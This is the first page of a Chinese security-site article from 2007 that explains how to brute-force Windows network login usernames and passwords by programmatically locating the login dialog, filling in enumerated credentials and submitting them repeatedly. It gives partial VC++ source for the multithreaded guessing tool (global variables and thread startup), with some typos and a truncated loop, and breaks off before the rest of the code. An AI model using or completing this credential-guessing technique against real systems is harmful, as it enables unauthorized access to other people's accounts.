今日精选 ·绝对解密 XP系统中隐藏的10个秘密 ·Windows系统文件详解【大全】 ·配置Windows Server 2008高级防火墙 ·带你现场体验专业服务器机房 ·屏蔽五项功能 让Windows XP极速狂飙 ·木马免杀技术大盘点 ·如何让无线路由信号更强更广 ·各大路由器默认密码(完美汇总经典版) ·如何构建安全的入侵检测系统 ·电脑故障维修判断指导大全(联想内部文件) >>>>
编程开发  Java | .Net | C/C++ | Delphi | VC/VB | XML | ASP | PHP
数据库  Oracle | Mysql | DB2 | Sql server
应用方案 无线网络方案 | 有线网络方案 

网管天地  网吧管理 | 路由器 | 交换机 | 服务器
网络安全  黑客技术 | 病毒漏洞 | 网站安全 | 服务器安全 | 入侵防御 | 防火墙
操作系统 Linux/Unix | Windows 
您现在的位置: 企业网络安全 >> 文章·资讯 >> 互联网安全 >> 黑客攻防 >> 文章正文
Windows网络用户登录密码的猜解
作者:佚名 文章来源:本站原创 点击数: 更新时间:2007-8-16 9:07:00
Windows网络用户密码猜解算法的主要思想是:利用Windows提供的窗口枚举函数EnumWindows ()找到网络登录窗口。利用子窗口枚举函数EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位网络登录窗口上的各个控件。

  利用SendDlgItemMessage()或SetDlgItemText()来输入用户名及密码。利用SendMessage()发送“确定”消息。这样一来,就利用程序完成了整个网络登录过程。在重复这个过程中采用枚举的用户名和密码,进而完成网络用户名及密码的枚举猜解。

  一、猜解过程流程:

  为说明问题,下面只写出主要的过程。对于关键过程给出用VC++实现的源码。下面的流程中Mutex.Lock和Mutex.UnLock之间的代码只允许单线程访问。“密码枚举完”是指用户指定的字符集合已被枚举完,程序将再枚举一个新的用户名,然后重新枚举这个字符集合。关于源码中各函数的具体用法,请参阅MSDN。关于多线程的用法,可参阅《VisualC++技术内幕》。

  下面给出关键流程的源代码

  1. 全局变量:

  struct _Thread

  {

  CWinThread *pThread;

  };

  _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚举线程数

  CEvent gEventNextPass;//取下一个密码,为实现同步引进

  CEvent gEventPassOk;//已取得密码,为实现同步引进

  CEvent gEventNextUser;//取下一个用户名,为实现同步引进

  CEvent gEventUserOk;// 已取得用户名,为实现同步引进

  CMutex gMutex;//互斥量,只允许单线程访问

  char cCurrentPass[MAX_PASSWORD_LENGTH]; file://当前使用的密码。

  char cCurrentUser[MAX_USER_LENGTH];//当前使用的用户名

  2. 线程启动:

  {

  file://密码枚举线程

  if(PassTread[0].pThread==NULL)

  {

  PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,

  THREAD_PRIORITY_LOWEST);

  PassTread[0].pThread->m_bAutoDelete=TRUE;

  file://这里略去了从文件取得密码的代码,这些代码和用户名枚举过程的代码差不多

  }

  file://用户名枚举线程

  if(UserTread[0].pThread==NULL)

  {

  UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,

  THREAD_PRIORITY_LOWEST);

  PassTread[0].pThread->m_bAutoDelete=TRUE;

  }

  file://窗口枚举线程

  for(int i=0;i

  {

  if(WindowThread[i].pThread==NULL){

  WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,

  THREAD_PRIORITY_LOWEST);

  WindowThread[i].pThread->m_bAutoDelete=TRUE;

  }

  }

[1] [2] [3] [4] 下一页


免责声明:作品版权归所属媒体与作者所有!!本站刊载此文不代表同意其说法或描述,仅为提供更多信息。如果您认为我们侵犯了您的版权,请告知!本站立即删除。有异议请联系我们。
文章录入:admin    责任编辑:admin 
  • 上一篇文章:
  • 下一篇文章:
  • 网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告 |